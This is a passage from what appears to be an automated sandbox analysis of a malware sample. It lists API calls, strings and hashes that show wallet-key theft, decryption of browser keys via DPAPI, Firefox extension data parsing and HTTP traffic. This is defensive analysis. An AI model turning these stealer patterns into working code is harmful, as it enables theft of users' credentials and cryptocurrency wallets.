lstrlen.KERNEL32(00000000), ref: 00F1D99F
lstrlen.KERNEL32(00000000), ref: 00F1D9B3
DeleteFileA.KERNEL32(00000000), ref: 00F1DA32

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: aeaffe63896b06432ead7c49a6219f2039acade2859e6b26d2c692d5d39acaad
Instruction ID: e13403c26a2948c3e59f888aff961ada562b3ed093d818e936ef05cd4de228c3
Opcode Fuzzy Hash: aeaffe63896b06432ead7c49a6219f2039acade2859e6b26d2c692d5d39acaad
Instruction Fuzzy Hash: DB8134729101289BDB08FBA0FC92DEE7338BF54300F504528F517A7091EF386A49EB62

Function 00F1F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F199EC
Part of subcall function 00F199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F19A11
Part of subcall function 00F199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F19A31
Part of subcall function 00F199C0: ReadFile.KERNEL32(000000FF,?,00000000,00F1148F,00000000), ref: 00F19A5A
Part of subcall function 00F199C0: LocalFree.KERNEL32(00F1148F), ref: 00F19A90
Part of subcall function 00F199C0: CloseHandle.KERNEL32(000000FF), ref: 00F19A9A

Part of subcall function 00F28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F28E52

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00F31580,00F30D92), ref: 00F1F54C
lstrlen.KERNEL32(00000000), ref: 00F1F56B

Strings

^userContextId=4294967295, xrefs: 00F1F59C
moz-extension+++, xrefs: 00F1F5AD

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: caf85e1f44e93c5475e742f95e407d309588bf4fe94d7966a59ddcfd3fbb6e83
Instruction ID: 7606c9792b08b99f67c81a770b71b095d943f9b9f6646fe50ae9305247a14d37
Opcode Fuzzy Hash: caf85e1f44e93c5475e742f95e407d309588bf4fe94d7966a59ddcfd3fbb6e83
Instruction Fuzzy Hash: D1512571D10118ABDB04FBB4FC96DED7378AF54300F408528F81667192EF386A59EBA2

Function 00F19CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F199EC
Part of subcall function 00F199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F19A11
Part of subcall function 00F199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F19A31
Part of subcall function 00F199C0: ReadFile.KERNEL32(000000FF,?,00000000,00F1148F,00000000), ref: 00F19A5A
Part of subcall function 00F199C0: LocalFree.KERNEL32(00F1148F), ref: 00F19A90
Part of subcall function 00F199C0: CloseHandle.KERNEL32(000000FF), ref: 00F19A9A

Part of subcall function 00F28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F28E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00F19D39

Part of subcall function 00F19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F14EEE,00000000,00000000), ref: 00F19AEF
Part of subcall function 00F19AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00F14EEE,00000000,?), ref: 00F19B01
Part of subcall function 00F19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F14EEE,00000000,00000000), ref: 00F19B2A
Part of subcall function 00F19AC0: LocalFree.KERNEL32(?,?,?,?,00F14EEE,00000000,?), ref: 00F19B3F

Part of subcall function 00F19B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F19B84
Part of subcall function 00F19B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00F19BA3
Part of subcall function 00F19B60: LocalFree.KERNEL32(?), ref: 00F19BD3

Strings

DPAPI, xrefs: 00F19D89
"encrypted_key":", xrefs: 00F19D30
, xrefs: 00F19DC1

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: c38ff5717a0850cc139cb9898fbf9aeb597530f143f7c2b033a5e14b141434d9
Instruction ID: db547fe71577c4e3bf6f4ff86b714421a37725a5eb7a05d7cfb17aaa2cc351dd
Opcode Fuzzy Hash: c38ff5717a0850cc139cb9898fbf9aeb597530f143f7c2b033a5e14b141434d9
Instruction Fuzzy Hash: E5314DB6D10209ABCF04DFE4EC95AEFB7B8BF48304F144518E905A7241EB749A44EBA1

Function 00F26AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00898870,?,00F3110C,?,00000000,?,00F31110,?,00000000,00F30AEF), ref: 00F26ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F26AE8
CloseHandle.KERNEL32(00000000), ref: 00F26AF9
Sleep.KERNEL32(00001770), ref: 00F26B04
CloseHandle.KERNEL32(?,00000000,?,00898870,?,00F3110C,?,00000000,?,00F31110,?,00000000,00F30AEF), ref: 00F26B1A
ExitProcess.KERNEL32 ref: 00F26B22

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0e960c494205e72eb25c2ed22fa29ea32452b2bdd36f9b219ee3c90247a80540
Instruction ID: f1da9123f6b23879af9359e443e2f8d3f05889e0dfcf9fac7be387ad26eb194f
Opcode Fuzzy Hash: 0e960c494205e72eb25c2ed22fa29ea32452b2bdd36f9b219ee3c90247a80540
Instruction Fuzzy Hash: 8DF05E30980329EBE720ABA0FC16BBD7B34EF54701F104624B523E21C5CBB95580FB65

Function 00F147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F14839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00F14849

Strings

<, xrefs: 00F147C9

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 463979d1f47a18535a806af40d533f96065ef597fd776721e7c566fc0f99837d
Instruction ID: 0fa91937ee9ece03fc698f5e40ababc980d13af29a54844a0960cf6e0277c3b1
Opcode Fuzzy Hash: 463979d1f47a18535a806af40d533f96065ef597fd776721e7c566fc0f99837d
Instruction Fuzzy Hash: 06211FB1D00209ABDF14DFA4E945ADD7B74FF45320F108629F925A72C0DB746A05DF91

Function 00F251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F16280: InternetOpenA.WININET(00F30DFE,00000001,00000000,00000000,00000000), ref: 00F162E1
Part of subcall function 00F16280: StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F16303
Part of subcall function 00F16280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F16335
Part of subcall function 00F16280: HttpOpenRequestA.WININET(00000000,GET,?,0089D8B0,00000000,00000000,00400100,00000000), ref: 00F16385
Part of subcall function 00F16280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F163BF
Part of subcall function 00F16280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F163D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F25228

Strings

ERROR, xrefs: 00F25273
ERROR, xrefs: 00F2521A

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 51073e8a65b13aff841a4fda72acc6a7ba39f0b931500c5938c9b628052fc76d
Instruction ID: a974bbe1614d60087009e3eeaf4c8bccbe1dc5b2b07e3703b17a2508465d431c
Opcode Fuzzy Hash: 51073e8a65b13aff841a4fda72acc6a7ba39f0b931500c5938c9b628052fc76d
Instruction Fuzzy Hash: BD110070910158EBCB18FF64ED52AED7378AF50300F404158F91A5B5D2EF38AB55EA92

Function 00F24F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

lstrcat.KERNEL32(?,00000000), ref: 00F24F7A
lstrcat.KERNEL32(?,00F31070), ref: 00F24F97
lstrcat.KERNEL32(?,00898A00), ref: 00F24FAB
lstrcat.KERNEL32(?,00F31074), ref: 00F24FBD

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F2492C
Part of subcall function 00F24910: FindFirstFileA.KERNEL32(?,?), ref: 00F24943

Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F30FDC), ref: 00F24971
Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F30FE0), ref: 00F24987
Part of subcall function 00F24910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F24B7D
Part of subcall function 00F24910: FindClose.KERNEL32(000000FF), ref: 00F24B92

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: dcb9aea4087fb3d3f3eebf622cf7064c5bf3551657f1002421ce3c4a4ed01de7
Instruction ID: 36e4e1c667cdc49bfbac9c0f07657812a0641ba7eeb0e5b6d10f4e668990f5d8
Opcode Fuzzy Hash: dcb9aea4087fb3d3f3eebf622cf7064c5bf3551657f1002421ce3c4a4ed01de7
Instruction Fuzzy Hash: 4521D6B6940308A7C768FBA0FC46EED373CAB54300F004654B66993085EE789AC99F92

Function 00F20740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

